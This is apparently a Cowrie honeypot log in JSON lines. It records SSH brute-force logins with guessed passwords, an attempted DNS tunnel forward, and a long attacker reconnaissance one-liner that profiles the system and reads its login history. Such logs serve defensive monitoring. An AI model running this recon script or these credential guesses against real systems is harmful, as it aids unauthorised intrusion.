{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.920918Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.924279Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.927471Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.930872Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.935431Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.938415Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.941292Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.944062Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.947478Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.950893Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:58.037684Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:58.120670Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.49004340171814,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:05.106570Z","src_ip":"137.184.5.188","session":"68079d190b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"4df93d5a2be0","protocol":"ssh","message":"New connection: 91.92.40.10:46320 (10.17.0.5:22) [session: 4df93d5a2be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:16.715394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:16.788345Z","src_ip":"91.92.40.10","session":"4df93d5a2be0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:16.993755Z","src_ip":"91.92.40.10","session":"4df93d5a2be0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:17.345502Z","src_ip":"91.92.40.10","session":"4df93d5a2be0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:18.493448Z","src_ip":"91.92.40.10","session":"4df93d5a2be0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38076,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bee9b6f3e55","protocol":"ssh","message":"New connection: 194.113.233.25:38076 (159.203.135.109:22) [session: 6bee9b6f3e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:48.163165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:48.170180Z","src_ip":"194.113.233.25","session":"6bee9b6f3e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:48.261813Z","src_ip":"194.113.233.25","session":"6bee9b6f3e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morena","message":"login attempt [root/morena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:48.540344Z","src_ip":"194.113.233.25","session":"6bee9b6f3e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:11:49.635426Z","src_ip":"194.113.233.25","session":"6bee9b6f3e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":20120,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b6b840629b","protocol":"ssh","message":"New connection: 176.53.159.196:20120 (10.17.0.5:22) [session: 48b6b840629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.182301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.185828Z","src_ip":"176.53.159.196","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.285534Z","src_ip":"176.53.159.196","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.589291Z","src_ip":"176.53.159.196","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.691150Z","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.802884Z","src_ip":"176.53.159.196","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:18.904671Z","src_ip":"176.53.159.196","session":"48b6b840629b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":36980,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c7251c5c21","protocol":"ssh","message":"New connection: 143.20.185.207:36980 (10.17.0.5:22) [session: d8c7251c5c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:24.458150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:24.461978Z","src_ip":"143.20.185.207","session":"d8c7251c5c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:24.574558Z","src_ip":"143.20.185.207","session":"d8c7251c5c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#4VCPU16GBAMD","message":"login attempt [root/undefined#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:24.939264Z","src_ip":"143.20.185.207","session":"d8c7251c5c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:26.055744Z","src_ip":"143.20.185.207","session":"d8c7251c5c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":57046,"dst_ip":"10.17.0.5","dst_port":22,"session":"180b2b845a60","protocol":"ssh","message":"New connection: 91.92.40.10:57046 (10.17.0.5:22) [session: 180b2b845a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:52.922407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:52.993129Z","src_ip":"91.92.40.10","session":"180b2b845a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:53.031673Z","src_ip":"91.92.40.10","session":"180b2b845a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"password","message":"login attempt [apache/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:53.361030Z","src_ip":"91.92.40.10","session":"180b2b845a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:54.507873Z","src_ip":"91.92.40.10","session":"180b2b845a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":51990,"dst_ip":"159.203.135.109","dst_port":22,"session":"85478093de3f","protocol":"ssh","message":"New connection: 162.241.239.202:51990 (159.203.135.109:22) [session: 85478093de3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:55.745445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:55.749057Z","src_ip":"162.241.239.202","session":"85478093de3f","protocol":"ssh"}
